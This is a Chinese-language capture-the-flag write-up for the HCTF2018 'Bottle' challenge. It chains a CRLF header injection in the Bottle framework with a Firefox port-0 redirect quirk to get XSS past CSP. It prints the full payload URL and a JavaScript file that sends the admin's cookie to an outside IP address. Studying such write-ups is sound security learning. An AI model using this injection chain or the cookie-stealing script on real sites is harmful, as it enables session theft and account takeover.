0%

HCTF2018 Bottle Writeup

Bottle

1
2
3
4
Not hard, I believe you are the lucky one!
hint1: */3 */10
hint2: bot use firefoxDriver
URL http://bottle.2018.hctf.io

后端是个 python,根据题目可知这个应用使用了 bottle 框架开发。应用功能是提交一个网址,但是经过测试发现不管提交什么网址都没有任何反应,目测可能只能提交本域名下的网址。

登录与注册的时候发现中间经过了一个 path 跳转

bottle 框架比较出名一点的漏洞是 HTTP 头注入漏洞 (CVE-2016-9964)

在 path 跳转时可进行 CRLF 注入

所以思路是利用 CRLF 注入,将 XSS 内容写入到 body 中,将这个网址提交给管理员,管理员访问这个网址,触发 XSS 达到 cookie

这里有一个问题: 当浏览器发现 Location 可以跳转时,将不会对 body 中的 HTML 进行渲染而直接跳转,只有 Location 为空时才不会跳转。但是此题中 Location 又不能为空 (会 500),因此当管理员访问这个网址时肯定会跳转。不过 Hint 中提到”bot use firefoxDriver”,而在 FireFox 中,当 Location 目标网址的端口小于 80 时不会对 Location 跳转,因此构造网址

1
http://bottle.2018.hctf.io:0/%0A%0D%0A%0D%3Cscript%3Ea=1%3C/script%3E

注意到题目中还设置了 CSPContent-Security-Policy: default-src 'self'; script-src 'self',后来出题人再修复此题之后将 CSP 放在了 CRLF 注入点的下面,这样就可以直接把 CSP 挤到 body 中,浏览器便不会解析 CSP。在本地 FireFox 中测试:

这里不使用 alert 测试是因为当 URL 中存在引号或括号时会 500,于是将 script 的 src 指向自己服务器的 js 文件即可任意 XSS,最终 payload 如下

1
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%0A%0D%0A%0D%3Cscript+src=http://srpopty.cn/1.js%3E%3C/script%3E

1.js

1
2
3
4
var ajax=new XMLHttpRequest();
ajax.open("GET","http://123.206.86.208/xss/"+document.cookie,true);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send();

拿到管理员的 cookie

修改 cookie 登录拿到 flag


参考

https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html